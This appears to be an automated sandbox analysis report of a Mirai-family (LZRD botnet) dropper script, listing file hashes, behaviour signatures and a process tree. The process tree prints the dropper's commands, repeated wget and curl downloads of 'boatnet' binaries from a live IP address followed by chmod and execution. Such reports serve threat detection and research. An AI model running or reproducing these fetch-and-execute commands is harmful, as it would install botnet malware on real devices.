Analysis

  • max time kernel
    74s
  • max time network
    138s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-12-2024 05:05

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    e0ccd217979419469e913cbef10872f3

  • SHA1

    6bbef022dcf450af81bee90522e4c82069c84064

  • SHA256

    288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

  • SHA512

    38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 43 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /usr/bin/wget
      wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:725
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:737
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-456345969109443eb75cac42fc1b1b9a-systemd-timedated.service-zZePx8 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:739
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:742
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:743
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:744
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-456345969109443eb75cac42fc1b1b9a-systemd-timedated.service-zZePx8 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:745
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:746
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:750
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:751
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:765
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-456345969109443eb75cac42fc1b1b9a-systemd-timedated.service-zZePx8 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:768
        • /usr/bin/wget
          wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
          2⤵
            PID:770
          • /usr/bin/curl
            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:792
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:805
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-456345969109443eb75cac42fc1b1b9a-systemd-timedated.service-zZePx8 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:806
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:807
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
              2⤵
                PID:808
              • /usr/bin/curl
                curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:834
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:845
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:846
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:847
                • /usr/bin/wget
                  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:848
                  • /usr/bin/curl
                    curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:849
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:854
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:855
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:856
                    • /usr/bin/wget
                      wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                      2⤵
                        PID:857
                      • /usr/bin/curl
                        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                        2⤵
                        • Reads runtime system information
                        PID:858
                      • /bin/cat
                        cat boatnet.mpsl
                        2⤵
                          PID:859
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:862
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:863
                        • /usr/bin/wget
                          wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
                          2⤵
                            PID:865

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/WTF

                          Filesize

                          23KB

                          MD5

                          366837c461677cb1b37924604fe50564

                          SHA1

                          ce442f4c57322b7dbafcaebd37cb0ee531d0ea4d

                          SHA256

                          c28510d75f73788f786fb0e5f14f3b7d6e349e0eeaa5922c6743be66824b4c4f

                          SHA512

                          4434b96a2931b0bbf39863cecd0c924e64e8d051b9277ae7a86ed151d60bdebfaf2f7b749ec6cad8a41000a3acb268adaea9f42868f5617a52f8053efad79840

                        • /tmp/WTF

                          Filesize

                          105KB

                          MD5

                          97a63a655202fc4ceb0f4a4957711dd4

                          SHA1

                          ea5a84a5b260cacd1107e9bc05351ec52895e938

                          SHA256

                          6d13de91a88aac152d7aeffedecc20414ed86d1c6cc58b5cc2bc7a439c57f620

                          SHA512

                          d5463c0d4274bd6de9ea25d5ebd99afce000b2e3afad63099176ba49a7c80972244b259b3b438277acb997d3b612e52f5eaa998da2db0ea87daddd3e203b0a89

                        • /tmp/WTF

                          Filesize

                          232B

                          MD5

                          7dfb9a4219d20c6babc4877451844e3c

                          SHA1

                          8b56a18d01c00f757df29faeb95b2711ecd3cd18

                          SHA256

                          9177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc

                          SHA512

                          7355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9

                        • /tmp/boatnet.x86

                          Filesize

                          20KB

                          MD5

                          cfdee595514f89c9e1ca4c3c26837bb6

                          SHA1

                          726f957189f0ce2da9008987aaa7f51453ede884

                          SHA256

                          4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

                          SHA512

                          07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226